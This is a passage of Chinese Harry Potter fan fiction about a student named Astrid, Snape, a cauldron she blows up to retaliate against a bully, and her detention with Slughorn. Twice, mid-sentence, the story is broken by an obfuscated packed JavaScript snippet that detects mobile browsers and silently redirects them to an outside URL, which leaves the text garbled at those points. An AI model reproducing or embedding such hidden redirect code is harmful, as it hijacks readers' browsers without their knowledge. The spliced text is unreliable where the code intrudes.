斯内普的嘴角勾起一个弧度,每个字都精准地戳在她那层薄薄的伪装上:“是的,私自潜入费尔奇办公室——准确地说,是在宵禁前溜进那条通往八楼的走廊——不知道这种行为该扣多少分?二十?三十?还是足够把你那可怜兮兮的加分全扣光?” 阿斯特丽德脸上的无辜表情凝固了。 她瞪大眼睛,一眨不眨地盯着他,片刻之后,她忽然凑近了几步,近到能看清他睫毛的弧度,近到那股混合着月桂叶和青苹果的气息又一次钻进了他的鼻腔。她紧盯着他的眼睛,语气里带着一种发现新大陆般的震惊和控诉:“你偷窥我的隐私——你暗中关注我!” 斯内普没有后退,也没有躲开她的目光,就那么站在那儿,任由她凑得那么近。他的嘴角缓缓勾起一个得意的假笑,表情里既有“你说得没错”的坦然,也有一种“你能拿我怎么样”的挑衅。 “我不得不赞叹你的敏锐,杜兰特一世。”他慢悠悠地开口,语气里带着那种令人牙痒的讽刺,“你居然这么快就意识到了——我还以为这个秘密会一直保持到你毕业那天才会被发现呢。看来你的观察力比你那点可怜的魔力要强得多。” 他的眼睛微微眯起,语气又慢了几分:“我总不能巴望着你靠自己那点魔力应对各种随时可能出现的状况,对吧?毕竟,你上次在禁林里待了四个小时的事,我还记忆犹新。” 阿斯特丽德瞪着他,觉得这实在是太不公平了。他能对她的所有行踪了如指掌,像个无处不在的幽灵似的盘旋在她的生活上空,而她却只能对他的动向一无所知,这种信息上的不对等简直令人发指。这还不如当初意识苏醒中的那两年呢,起码那时候她能感知到他在霍格沃茨这片区域里的所有动态。 “杜兰特一世很伤心,因为她不能对你做同样的事情。”她用一种夸张的哀怨口吻,直直地盯着他说。 有谁不爱视奸自己的crush呢?反正她很想知道斯内普每天的动线——他上了什么课,在图书馆呆了多久,在哪熬魔药,什么时候回公共休息室——她都想知道。要是有一个地图能显示他每天在哪儿就好了,用不出追踪咒的她非常需要这个。 斯内普的表情有些微妙:“你想对我做又不能做的事情,大概可以列出一份比你的魔药课论文还要长的清单——而这份清单还在以惊人的速度与日俱增。不差这一个。” 他说完,目光在她脸上停留了片刻,然后微微偏了偏头,用下巴朝走廊尽头的方向示意了一下,那里正是通往魔药教室的地下走廊。 “现在,如果你还打算赶上第一节魔药课的话,我建议你收起那副被全世界辜负的表情,往地窖方向移动。”他的语气恢复了惯常的干巴巴,一边说一边侧过身,让出通往楼梯的路,“誊抄论文的时候最好动动脑子,别只是把字母描一遍。如果你抄完还是不知道月长石粉应该在什么时候加入坩埚,那这篇论文就算让梅林亲自帮你写也是白搭。” 阿斯特丽德立正站好,右手并拢在额角潇洒地一挥,语气里是刻意夸张的恭敬:“好的斯内普教授,知道了斯内普教授。我这就去上魔药课,保证誊抄论文,保证消化批注。”说完她笑嘻嘻地冲他挥了挥手,转身就准备往地窖方向冲。 斯内普的目光却在那一刻无意间扫过她校袍口袋——那里露出魔杖手柄的一小截,上面系着他眼熟的那串珍珠和紫色石头挂链。但此刻那挂链旁边还多了一层东西,紧紧包裹在魔杖的木质上,于光线下泛着柔和的珠光色泽。 “那是什么?”他的语气里带着难以掩饰的古怪。 阿斯特丽德顺着他的目光低下头,随即笑呵呵地把整根魔杖从口袋里抽了出来,在他眼前展示——那根金合欢木的魔杖此刻被一层半透明的珠光色软壳包裹着,贴得严丝合缝,隐约能看到里面雕刻的蛇鳞和羽毛纹路,在珠光下若隐若现。 “这是我做的魔杖壳,”她兴致勃勃地介绍起自己的新作品,“可以保护魔杖不被划伤,还能防潮防尘。你看,这个是珠光软款,手感特别好,而且有多种颜色可选。除了这种,我还打算制作透明壳,浮雕款,或者防水防火款,甚至可以在上面印花纹或者刻字,每个人都可以定制自己的专属魔杖皮肤。” 她一边说一边把魔杖转了个方向,让他看清那层软壳的每一个细节,末了期待地望着他:“你喜欢黑色磨砂壳吗?我可以送你一个,就当你帮我改论文的谢礼。” 斯内普的目光在那根被包裹得严严实实的魔杖上停留了片刻,“我的魔杖……”他原本想说他的魔杖不需要穿衣服,但目光移到她脸上时,说出口的话却变成:“既然你诚心诚意地提出了这个提议,我拒绝似乎也不太礼貌——黑色磨砂壳,如果你执意要做的话。前提是它不会影响魔杖的正常使用,不会在关键时刻让我的咒语偏离方向,尤其是——不会让那根原本还算体面的魔杖变成某种不明物体。” 他说完便没再给她继续推销的机会,微微点了点头就转身沿着走廊离开,黑色的校袍在他身后轻轻摆动,背影很快就消失在走廊尽头那排盔甲的转角处。 阿斯特丽德站在原地,望着那道远去的背影,忍不住小声嘀咕起来:“或许应该做个蝙蝠款,带触角的那种——他肯定会喜欢。” 36. 炸坩埚 33. 魔药教室里已经稀稀落落地坐了三三两两的一年级小鬼头,那些提前抵达的学生们正趁着上课前的最后几分钟整理着自己的坩埚和材料,偶尔传来几声压低声音的交谈和轻笑。其中斯莱特林长桌那边坐着的几个学生,正用毫不掩饰的鄙夷目光打量着正在伏案疾书的阿斯特丽德——目光里明明白白写着:这个人留级也就算了,居然还找枪手帮她改论文,真是既愚蠢又无耻的格兰芬多。 阿斯特丽德对此浑然不觉,或者说,她根本懒得理会那些小鬼头的眼神。她正伏在已经架好的坩埚边,握着羽毛笔在一张崭新的羊皮纸上奋笔疾书,偶尔停下来对照一下旁边摊开的课本,确认某个术语的拼写。关于补血剂,其实她千年前就经常熬制——那时候打架多,受伤也是常事,身为一条幽居在密林泥潭里的蛇,她的栖息地附近从来不乏各种珍奇动植物,所以她的魔药水平其实并不差。 但是,问题就出在那是千年前的事了。 如今很多魔药都在不断发展和革新,制作步骤改变了不说,有些原材料干脆灭绝了,或者被更低廉、更容易获取的品类取代了,所以她就只能跟坩埚大眼瞪小眼,全部从头学起。比如她当初最擅长的止痛药剂,现在被称作缓和剂,其中有两味材料都被取缔,整个制作过程跟她记忆中的完全不一样了,每次都要比对着课本里的步骤。 好在她还有一项擅长的学科——古代如尼文,那些古老的符文和符号对她来说就像是刻在骨子里的东西,根本不需要学。只可惜这门课三年级才开设,她现在只能眼巴巴地等着。 学生们陆续抵达教室,脚步声和交谈声渐渐变得嘈杂起来。阿斯特丽德正抄到最关键的一段,忽然感觉有人在她旁边坐了下来——她的魔药搭子菲琳娜·库珀终于来了。那是一个圆头圆脑的格兰芬多小姑娘,长着一张总是笑眯眯的脸,从不在意阿斯特丽德魔力弱、无法有效搅拌和精准掌控火候的事实。更重要的是,她非常支持阿斯特丽德的药妆品牌和魔杖壳事业,每次拿到新品试用都兴奋得不行,还会认真地记下使用感受反馈给她。 菲琳娜把书包放好,探头扫了一眼阿斯特丽德正在誊抄的那张羊皮纸,看着那些密密麻麻的批注和修改意见,忍不住压低声音问:“又是那个高年级的斯莱特林男生帮你改的?” 阿斯特丽德头也不抬,一边继续抄一边应了一声:“嗯。” 菲琳娜若有所思地点点头,圆溜溜的眼睛里闪烁着八卦的光芒:“我听我姐姐说——她在拉文克劳上六年级——那个男生叫西弗勒斯·斯内普,是斯拉格霍恩教授的得意门生,今年已经加入鼻涕虫俱乐部了。”她凑得更近了一些,声音压得更低,“明晚就会有本学年的第一次聚会晚宴,据说只有被斯拉格霍恩教授认为‘有前途’的学生才能参加。我姐姐非常羡慕,说那可是跟纯血家族继承人和未来的社会名流建立交情的好机会。” 阿斯特丽德握着羽毛笔的手微微一顿。她终于抬起头,神情有些恍惚——明晚?她想起暑假里在斯内普家客厅练习跳舞的那些日子,两个人磕磕绊绊地踩着对方的脚,一遍又一遍地旋转,从茶几旁转到魔药架子前,从生涩笨拙转到勉强能配合完一曲华尔兹。那居然才过去三个月而已,却感觉已经是很久很久以前的事了。 “阿斯塔?”菲琳娜见她发愣,伸手在她眼前晃了晃,“你怎么了?” “没什么。”阿斯特丽德回过神来,低头继续抄那篇论文,嘴角却弯起一个清浅的弧度,“就是想起来点事。” 上课铃声响起时,斯拉格霍恩教授挺着他那个标志性的大肚子从门口晃了进来,脸上带着惯常的、和蔼得有些过分的笑容,活像一只刚享用完丰盛大餐的海象。他挥了挥魔杖,黑板上立刻浮现出今天的课题——提神剂,那是所有魔药中最基础的入门级药剂之一,也是每个一年级新生最早接触的几个配方之一。 阿斯特丽德盯着那几个字,心里涌起奇异的亲切感。 提神剂——斯内普当初寄给她的第一瓶魔药,就是这东西。那时候她还在蜘蛛尾巷的破屋子里裹着毯子瑟瑟发抖,那只笨头笨脑的猫头鹰格丽撞开了她的窗户,腿上绑着一个装着淡绿色液体的小瓶子。她喝下去之后,耳朵像烧开的水壶一样咕嘟咕嘟冒热气,整个人看起来像一个迷你版的蒸汽火车头——但那确实是见效最快的感冒药,比平常那些吃了昏昏欲睡的白色药片强了不知道多少倍。 她把那份怀念收好,按照黑板上的指示开始准备材料。菲琳娜负责大部分需要魔力的操作——精确搅拌、控制火候、按顺序添加材料。而阿斯特丽德则负责那些不需要魔力或者只需要极少魔力的部分,比如切雏菊根、称量干荨麻、把蛇的毒牙研磨成粉末。 两个人配合得还算默契,坩埚里的液体逐渐呈现出标准的淡绿色,散发出一股淡淡的草药香气。菲琳娜正要加入最后一份材料,忽然感觉头皮一疼——几根头发被一股无形的力量揪了下来,飘飘悠悠地落在桌上。 她下意识回头,正对上身后那几张幸灾乐祸的脸。 塞拉斯·弗林特坐在她们后面的位置,正用魔杖指着她们的方向,嘴角挂着一个恶劣的笑容。他的魔杖又动了动,几只苍蝇凭空出现,嗡嗡嗡地绕着菲琳娜的头顶盘旋,有几只甚至试图往她头发里钻。 阿斯特丽德的眉头皱了起来。 她当然知道弗林特,那家伙是斯莱特林一年级里最让人讨厌的一个,仗着家里有好几口人在魔法部当官,在课堂上无法无天,斯拉格霍恩教授对此一直睁一只眼闭一只眼。她猜想这跟弗林特家的势力脱不了干系——毕竟斯拉格霍恩教授最擅长的就是跟有权有势的学生家长搞好关系。至于课堂纪律,只要不把教室炸了,他一般都会选择视而不见。 但现在,这个小混蛋正在影响她们熬制药剂。 作为魔药搭子和成绩共享者,阿斯特丽德绝不能放任任何人破坏自己的利益。她放下手里那根正在研磨毒牙的杵臼,转过身子,眼睛直直地瞪着塞拉斯·弗林特,眼神发冷。 “收起你的小把戏,弗林特。”她的声音并不大,“如果你再捣乱,我保证你会在下课前就躺进医疗翼。” 弗林特愣了一下,随即和他的同桌对视一眼,两个人同时爆发出刺耳的笑声。脸上满是轻蔑和不屑,像是听了一个蹩脚的笑话。 “哦——多么令人恐惧的威胁啊!”弗林特拖长了调子,那张还带着婴儿肥的脸上浮现出一种与他年龄不符的恶意,目光肆无忌惮地在阿斯特丽德身上扫来扫去,“我已经吓得半死了,真的,你看我的腿都在发抖。”他夸张地抖了抖腿,又和同桌交换了一个心照不宣的眼神,“不过我说,你一个十六岁还跟一年级混在一起的老姑娘,魔力弱得连羽毛都飘不起来,你怎么让我躺进医疗翼?用你那根挂着破石头和珍珠链子的小木棍戳我吗?还是用你那篇不知道找谁代笔的论文把我砸晕?” 那几个苍蝇还在菲琳娜头顶嗡嗡嗡地飞着,有几只已经落在了她的头发上。弗林特咧着嘴,等着看阿斯特丽德气急败坏的样子——他最喜欢看别人气急败坏却又拿他没办法的样子,尤其是一个魔力弱得可怜的大龄插班生,一个不知天高地厚敢跟斯莱特林叫板的格兰芬多。 阿斯特丽德冷冷地重复了一遍:“我刚才已经警告过你了。如果你再继续骚扰菲琳娜,我不介意让你现在就试试这根小木棍的威力。” 塞拉斯·弗林特和同桌对视一眼,然后两个人同时爆发出更加肆无忌惮的笑声,笑声回荡在魔药教室的一角,引得周围几个学生纷纷侧目。弗林特挑起一边眉毛,故意慢悠悠地举起魔杖,对准那些还在菲琳娜头顶盘旋的苍蝇,手腕轻轻一抖——那几只苍蝇像是被无形的线牵引着一般,齐刷刷地掉进了菲琳娜和阿斯特丽德面前的坩埚里。 “哎呀,手滑了。”弗林特假惺惺地说,脸上满是恶作剧得逞的得意。 坩埚里原本颜色漂亮、缓慢旋转的药剂像是被什么东西恶心到了一样,优雅的漩涡停滞了片刻,随即开始剧烈地震颤起来,表面冒出一串串气泡,发出咕嘟咕嘟的声响。还没等另一条过道上的斯拉格霍恩教授挥动魔杖挽救,药剂就猛地翻涌着四溅而出,滚烫的绿色液体溅了阿斯特丽德和菲琳娜一身,校袍上立刻留下了一片湿淋淋的、散发着怪味的痕迹,以及几个被腐蚀出来的大小不一的孔洞。 菲琳娜惊叫一声,下意识往后躲。 阿斯特丽德嚯地转过身,眼里几乎要喷出火来,直直地瞪着后排那两个笑得前仰后合的身影。那笑声刺耳又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334606|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚣张,像是笃定了她拿他们没办法——毕竟她只是一个魔力弱得可怜的插班生,连基本咒语都用不利索。 但就在那笑声中,阿斯特丽德飞快地从魔杖挂链上扯下一颗珍珠,然后手腕一抖,那颗珍珠准确无误地落进了弗林特和他同桌面前的坩埚里。 谁也不知道那颗珍珠里装了什么粉末,做了怎样的处理。只看见珍珠在药剂中迅速融化,像是丢进热油里的一滴水。 下一秒,那口坩埚剧烈地颤抖起来,然后轰然炸开——绿色的药剂、黑色的烟雾、破碎的坩埚碎片向四面八方飞溅,弗林特和他的同桌被炸了个正着,两个人浑身湿透,脸上、手上、校袍上全是黏糊糊的绿色液体,有些地方甚至冒起了细小的白烟。弗林特捂着脸发出一声又尖又响的惨叫,他的同桌则捂着手嗷嗷直叫,整个人从椅子上摔了下来。 而阿斯特丽德在扔出珍珠之前就拉着菲琳娜退到了几步开外,两个人好整以暇地站在那里,远远地看着那场由她亲手导演的小型灾难。她的校袍上还残留着被弗林特的苍蝇毁掉的药剂痕迹,那几个孔洞还在往外翻着焦黑的边缘,但她的脸上却很平静。 对付这种人,没道理可讲。 她在蜘蛛尾巷长大,比任何人都清楚这一点——与其领教对方碾压级的家庭势力,等着教授们来主持那点不痛不痒的“公道”,不如趁早下手,以暴制暴。这样最起码还能落个正当防卫的名头,顶多双方各打五十大板,总比她这一方吃哑巴亏要好。如果等着教授来处理,教授们顶多扣塞拉斯几分,关他几天禁闭,这点惩罚能补偿她和菲琳娜被毁的药剂吗?能补偿她们被烧坏的校袍吗? 不能。 同样的,就算她把塞拉斯炸进了医院,教授们也只能扣她的分,罚她的禁闭。她觉得这笔账很划算——反正还有一百分可以扣,不是吗? 整个教室彻底炸开了锅。 那一片的尖叫声、惊呼声、椅子倒地的声音此起彼伏,周围的学生们纷纷往后退,有的躲到了桌子底下,有的跑到了墙角,有几个胆小的女生甚至捂住了眼睛。那些原本还在各自坩埚前忙碌的学生们此刻全都停下了手里的动作,目瞪口呆地看着这一幕。 斯拉格霍恩教授挺着他那个大肚子,挥舞着魔杖从另一条过道匆匆赶来,那张向来和蔼可亲的脸上此刻写满了震惊和恼怒。他先是挥动魔杖把弗林特和他同桌身上残余的药剂清理干净,又变出两条毯子披在他们身上,然后才转过头来看向阿斯特丽德,眼里满是不赞同。 “杜兰特小姐!”他的声音比平时高了八度,“你——你怎么能——这可是课堂!你知道炸毁同学的坩埚有多危险吗?!” 阿斯特丽德平静地迎上他的目光,语气不卑不亢:“教授,是弗林特先把苍蝇扔进我们的坩埚里的。我的药剂被毁了,校袍也被烧坏了,我只是正当防卫。” 斯拉格霍恩教授的脸色变了又变,他看了看还在哀嚎的弗林特,又看了看浑身湿透的阿斯特丽德,最后重重地叹了口气。他挥了挥魔杖,让那些还在弥漫的烟雾散去,然后无奈的裁决:“不管怎么说,炸毁同学的坩埚是不可原谅的行为——格兰芬多扣五十分!另外,从今晚开始,你每天晚上去地窖办公室处理一周的备课材料,作为禁闭处罚。” 他又挥动魔杖给弗林特和他同桌施了几个简单的治疗咒语,止住了他们脸上的灼伤蔓延,然后扶着还在嗷嗷叫的弗林特往外走,“好了好了,都别看了!该干什么干什么去!塞拉斯,我送你们去医疗翼,庞弗雷夫人会处理好你们的伤——” 他带着那两个浑身狼狈的斯莱特林消失在门口,留下一教室面面相觑的学生。 菲琳娜担忧地望着阿斯特丽德,那双圆溜溜的眼睛里满是愧疚和不安,她张着嘴想说点什么,却被阿斯特丽德一个挑眉的动作打断了。 “要勇敢反击,”阿斯特丽德嘴角弯起一个小小的弧度,带着一种痞痞的味道,“记住了吗?” 菲琳娜用力点了点头。 阿斯特丽德这才收回目光,低头看了看自己那件被烧出几个孔洞的校袍,又看向满地狼藉的教室,在心里默默叹了口气。 格兰芬多昨天加的一百分,今天就被她扣掉了一半,这大概就是传说中的收支平衡吧。 37. 刷脸 34. 当晚的大礼堂里,烛光依旧在悬浮的蜡烛上摇曳,将整个空间笼罩在一片温暖的金色光晕中。斯内普坐在斯莱特林长桌靠中间的位置,习惯性地往格兰芬多长桌那边瞥了一眼,然后他的叉子微微顿住了。 詹姆·波特和西里斯·布莱克居然正扭着身子朝阿斯特丽德的方向,脸上带着破天荒的、近乎赞赏的表情。詹姆甚至还冲她竖了个大拇指,语气里带着“我虽然不喜欢你但我不得不承认你干得漂亮”的别扭:“干得好,杜兰特。对付弗林特那种人,就该这样。” 西里斯在一旁附和着点头,神色里难得没有嘲讽。 而莉莉和艾丽斯则用不赞同的目光瞪着詹姆等人,眼神里明明白白地写着“你们能不能别火上浇油”。然后她们又转过头去,低声跟阿斯特丽德说着什么,像是在劝她,又像是在询问细节。阿斯特丽德则似乎振振有词地在辩解着什么,不时挥舞一下手里的叉子,旁边还坐着一个圆脸的小姑娘——就是她的魔药搭子菲琳娜——正用力地点头附和,活像是在法庭上作证的证人。 斯内普甚至听见了一句飘过来的话,声音来自那个圆脸小姑娘,语气笃定:“难怪会把你分到格兰芬多。” 哈? 那个小姑娘是怎么从炸坩埚这件事里看出这一点的? 没等他在心里吐槽完,就听不远处传来一个恶狠狠的声音——里奥·弗林特正凑在帕金森耳边,那张和塞拉斯有几分相似的脸上满是阴鸷,语气压得很低,但音量足以让周围几个人听清:“你等着看吧,帕金森,我会让那个格兰芬多的麻瓜好看的。她以为炸了我弟弟就能全身而退?做梦。”他嘴角勾起一个冷笑,“我让我父亲给学校施压,霍格沃茨总得听魔法部的,不是吗?让她退学,也就是一句话的事。” 斯内普没再往那个方向看一眼,只是继续慢条斯理地吃着盘子里的食物,但眉头却微微蹙了起来。他从周围那些断断续续飘进耳朵里的对话中,大概拼凑出了阿斯特丽德在魔药课上干的事——炸了弗林特家的那个小鬼头的坩埚,把人家送进了医疗翼,自己被斯拉格霍恩扣了五十分,还罚了禁闭。 他心里无奈地吐槽了一句:冲动的格兰芬多。 她难道非得这么硬碰硬地直面冲突吗?她现在也越来越让他怀疑她到底算不算得上是一个斯莱特林了——怎么能鲁莽成这样?如果对方直接给她来一发恶咒,她要怎么办?就凭她那点可怜兮兮的魔力,能躲得过吗? 但吐槽完,他又莫名觉得,她能凭借自己的力量报复回去,这本身是件值得欣慰的事。至少她没有忍气吞声,没有像从前那样只能任由自己被欺负。就是不够隐蔽,不够迂回,没有完美地隐藏自己、让对方抓不住把柄。这种方式,太格兰芬多了。 晚上八点整,阿斯特丽德准时出现在地窖的魔药办公室门口。她敲了敲门,听到里面传来一声“进来”后,推门走了进去。 斯拉格霍恩教授正坐在他那张宽大的办公桌后面,挺着标志性的大肚子,握着一支羽毛笔在一沓羊皮纸上批改着。他抬起头看了她一眼,随手指了指角落里的一个木桶,语气里是公事公办的平淡:“哦,杜兰特小姐,你来了。看到那个木桶了吗?里面是蟾蜍眼睛,需要全部处理好——把那些薄膜剥掉,把里面那层白色的东西清理干净,然后按大小分类。做完才能回去。” 阿斯特丽德心里不乐意极了——蟾蜍眼睛,那玩意儿真的太恶心了,光是看着那一桶圆溜溜、湿漉漉、带着诡异光泽的东西,她就觉得胃里一阵翻涌。但她现在是个挨处罚的家伙,平时又没什么出色的表现,在斯拉格霍恩这里就是人下人,没有呵护和怜惜的必要。她应了一声,从旁边拿起一副橡胶手套戴好,又搬了个小板凳放在木桶旁边,一屁股坐下去,开始慢吞吞地劳动改造。 那些蟾蜍眼睛在她指尖滑腻腻地滚来滚去,每一次剥开那层薄膜时发出的轻微噗嗤声,都让她在心里把塞拉斯·弗林特的祖宗十八代问候了一遍。 刚处理了三分之一,办公室的门被敲响了。 斯拉格霍恩教授头也不抬地又说了声“进来”,门被推开,进来的居然是斯内普。他穿着一身黑色的校袍,手里拎着一个鼓鼓囊囊的布袋,随意地瞥了一眼角落里那个正跟蟾蜍眼睛作斗争的熟悉身影,然后走到办公桌前,将布袋里的东西一一取出来放在桌边。那是十几瓶颜色各异的魔药,整整齐齐地排成一排,瓶身上还贴着手写的标签,标明药名和熬制日期。 “教授,您上周让我熬制的那些魔药,我都做好了。”斯内普的声音平淡,带着慢悠悠的从容,“缓和剂八瓶,提神剂六瓶,还有三瓶生死水——您之前说医疗翼那边需要补充库存。” 斯拉格霍恩教授放下手里的羽毛笔,拿起那些魔药一瓶瓶检查起来。他对着光看了看成色,又打开瓶塞嗅了嗅气味,脸上渐渐浮现出满意的笑容。他挥了挥魔杖,那些药剂便自动排着队飞到靠墙的架子上,在相应的位置整整齐齐地站好。 “非常完美,西弗勒斯,一如既往地优秀。”斯拉格霍恩教授靠回椅背,那双精明的眼睛打量着眼前这个得意门生,语气里满是欣赏,“你的魔药水平已经超过不少七年级的学生了——说实话,我有时候都忘了你才六年级。”他等着斯内普告辞离开,毕竟这个点来找他交东西,通常就是放下就走的事。 但斯内普没有要走的意思。 他从校袍口袋里抽出一沓厚厚的羊皮纸,双手端着递到斯拉格霍恩教授面前,语气郑重:“教授,这是我提早准备的毕业论文课题的大纲和思路——里面详细列举了关于魔药和魔咒的结合应用,以及在黑魔法防御上的可观效果。如果您有时间,希望能请您批阅并给些意见。” 阿斯特丽德一边剥着蟾蜍眼睛,一边竖着耳朵听着那边的对话。魔药和魔咒的结合应用?这听起来有点像麻瓜学科里的物化结合——把不同领域的知识融合起来,产生新的效果。 但她只是一个正在跟蟾蜍眼睛搏斗的小菜鸡,没有发表言论和看法的资格。 斯拉格霍恩教授一向看重这个得意门生,闻言接过那沓羊皮纸,戴上眼镜,一张张仔细翻看起来。他时而点头,时而皱眉,偶尔抬起头提出一些具体的细化方向,斯内普就站在一边认真地听着,不时补充几句自己的看法,两个人你一言我一语,讨论得热火朝天。 只有阿斯特丽德,悲愤地对着一整桶还没处理完的蟾蜍眼睛,偶尔朝那对模范师生投过去一眼。 还剩半桶的时候,斯拉格霍恩教授终于把那些论文大纲和实验数据翻完了,他指了指对面的椅子,示意斯内普坐下。斯内普从善如流地坐了下来,从校袍口袋里抽出一支羽毛笔,就在那张办公桌上开始修改起大纲的内容,把刚才教授提出的要点和研究方向一字不漏地记下来。 办公室里便只剩下两只羽毛笔的沙沙声,以及阿斯特丽德不遗余力处理蟾蜍眼睛时偶尔发出的轻微噗嗤声。 其中一只羽毛笔的声音渐渐停顿下来,接着是斯拉格霍恩教授的询问声,带着明显的考校意味:“杜兰特小姐,你前几天交的那篇关于补血剂的论文,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334607|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了。里面提到‘月长石粉末的添加顺序会影响药剂的稳定性’,你能具体说说,应该先加月长石还是先加嚏根草精华?为什么?” 阿斯特丽德愣了一下,手里的动作也停了下来。她抬起头,发现斯拉格霍恩教授正从眼镜上方看着她。 她顺畅地回答出来,语气平静,条理清晰:“应该先加嚏根草精华,等药剂的颜色从淡绿变成浅蓝之后,再加入月长石粉末。因为月长石对温度敏感,如果加得太早,高温会让它的有效成分挥发,影响药剂的稳定性。而且,加入月长石之后要顺时针搅拌五圈,不能多也不能少,否则药剂会变得浑浊。” 回答完之后,她不着痕迹地看了一眼仍旧伏案书写的斯内普。 这问题是斯拉格霍恩教授单挑出来问的,问的正是斯内普帮她修改论文时添补的那些延伸内容。这种她在课本上根本找不到的知识点,明显来自他私人藏书和实验心得的独到见解。 斯拉格霍恩教授满意地点了点头,脸上浮现出几分意外的赞许:“没想到你理论知识还是很扎实的,杜兰特小姐。”他用一种过来人般的口吻指点,“以你的水平,以后可以考虑去圣芒戈当窗口药剂师——发药岗很适合你,用不着什么魔力,只需要把药发给病人,告诉他们怎么用就行。” 阿斯特丽德:“……” 她就一定得在巫师界找工作吗? 斯内普终于抬起头看了她一眼,目光在她脸上停留了一下,然后像是随口补充一般开口:“事实上,教授,杜兰特在发明创造一途上很有天赋和心得。她有自己的洗化品牌,叫A.S,口碑还不错——至少在麻瓜那边的圈子里,已经积累了一批稳定的客户。” 接下来的时间就在一边处理蟾蜍眼睛一边讨论A.S品牌的发展中悄然流过。当斯拉格霍恩教授听到这个品牌背后还有斯内普的参与时,那双本来就亮得过分的眼睛简直要放出光来——他一直以为斯内普会走纯粹的学术路线,埋头搞那些高深的魔药研究,没想到他不声不响地还掺和了生意。虽然目前这点规模在他眼里还不成气候,但既然有他看中的学生在里面,顺手帮一把也不是什么难事。要是运作得当,说不定A.S能跟波特家的速顺滑发剂不相上下。 赚钱嘛,就是要趁早。否则路都让别人走完了,到时候就是想捡路边的野草都得挤得头破血流。斯拉格霍恩教授本来就重视物质享受,这需要金钱支撑——华丽的袍子、精致的食物、昂贵的收藏品,哪一样不需要金加隆?如果他能帮助扶持A.S品牌成长起来,那他作为原始股东,怎么着也能得到不少分红。 于是当阿斯特丽德终于处理完最后一颗蟾蜍眼睛,站起身来准备告辞时,斯拉格霍恩教授叫住了她:“杜兰特小姐,你明晚来劳作的时候,记得带上你们品牌的产品,我看看。如果可行,我可以帮你们联系生产厂家,注册专利——这些东西在魔法界也是有市场的,尤其是那些改良过的小玩意儿。”他顿了顿,又补充道,“如果你们需要研发指导,我也可以参与。” 阿斯特丽德高兴极了。她心里清楚得很,这份机会根本不是“刚好碰上的运气”。斯内普那几句轻描淡写的补充,表面上是随口一提,但如果没有他主动刷脸背书,斯拉格霍恩教授根本不会对她这样一个“魔力弱得可怜的格兰芬多插班生”多看一眼。 她太了解这些老油条的作风了。 她朝斯内普投过去一个灿烂的笑容,脸上满是真诚的感激,然后才转向斯拉格霍恩教授,语气郑重地应承下来:“谢谢教授,明晚我一定带过来。” 38. 你是我的同桌 35. 走在负一层那条空旷的走廊上,两侧墙上的火把在壁龛里燃烧,投下摇曳的光影。阿斯特丽德脚步轻快地走着,忍不住侧过头看向并行的斯内普,语气里是压抑不住的欢快:“今晚谢谢你了。我敢说,如果教授对产品满意的话,我后面几天的禁闭就会变成产品改良和研发了,对吗?” 斯内普看了她一眼,继续并排往前走:“嗯,猜对了。”他直视前方,语气又恢复了那种懒洋洋的调子,“不过我得提前声明——我不需要更多的魔杖壳做谢礼了。一个就够了,再多就成收藏品了。” 阿斯特丽德笑眯眯地回看他一眼,也继续往楼梯口走,“可是总该有所表示才对,不如送你一个领结怎样?我听说你明晚就要第一次参加鼻涕虫俱乐部的聚会晚宴了。” 她暑假才陪他去摩金夫人的店里选购了正式场合穿的长袍,但他没有像样的配饰。现在恰好可以借这个机会送他一个——既实用,又体面。 斯内普没有拒绝,脚步依旧不紧不慢,“听起来比魔杖壳靠谱多了。至少不会让人误以为我在魔杖上挂了一堆圣诞装饰品。” 走到楼梯拐角处,阿斯特丽德挥了挥手,准备道别往楼上走。斯内普却像是随口一提:“我送你回去。” 阿斯特丽德愣了一下,停下脚步转过身看着他:“为什么?都快宵禁了。” “因为不想你明天躺在校医院里,而我不得不为此仓促离开晚宴——那会很不体面。” 阿斯特丽德一时没反应过来:“嗯?” 斯内普微微叹了口气,一边继续往前走,一边讲解一个显而易见的事实:“你在动手之前,能不能先调查清楚对方的实力和背景?塞拉斯还有个哥哥叫里奥,跟我同级,是斯莱特林的学生,也是黑魔法练习小组的成员之一。他们家虽然没有加入食死徒,但跟纯血派走得近——比起邓布利多,他们家更乐意支持那个人。所以,像你这样的格兰芬多,是他们最好的练习对象。”他那双黑沉沉的眼睛在昏暗的走廊里闪着幽深的光,“更何况,你还弄伤了塞拉斯。你觉得里奥会善罢甘休?” 阿斯特丽德立即明白过来,眼睛微微睁大:“所以你是担心我被他们报复?” “显而易见。”斯内普继续往楼梯上走,黑色的校袍在他身后轻轻摆动。 果然,在下一个楼梯拐角处,他停下了脚步。 阿斯特丽德跟上去一看,发现是几个高年级斯莱特林男生正站在那儿,堵住了通往楼上的路。她猜测为首那个长相和塞拉斯有几分相似的,想必就是里奥·弗林特了。他身边还站着帕金森——一个尖脸、油头粉面的男生,还有另外一个她不认识的面孔。 里奥的目光落在阿斯特丽德身上,阴鸷得像是在看一只待宰的猎物。他咧开嘴,露出一个恶狠狠的笑容,语气里满是轻蔑:“哟,看看这是谁——我们的小英雄格兰芬多来了。怎么,炸了我弟弟,就以为能平安无事地回宿舍睡觉?” 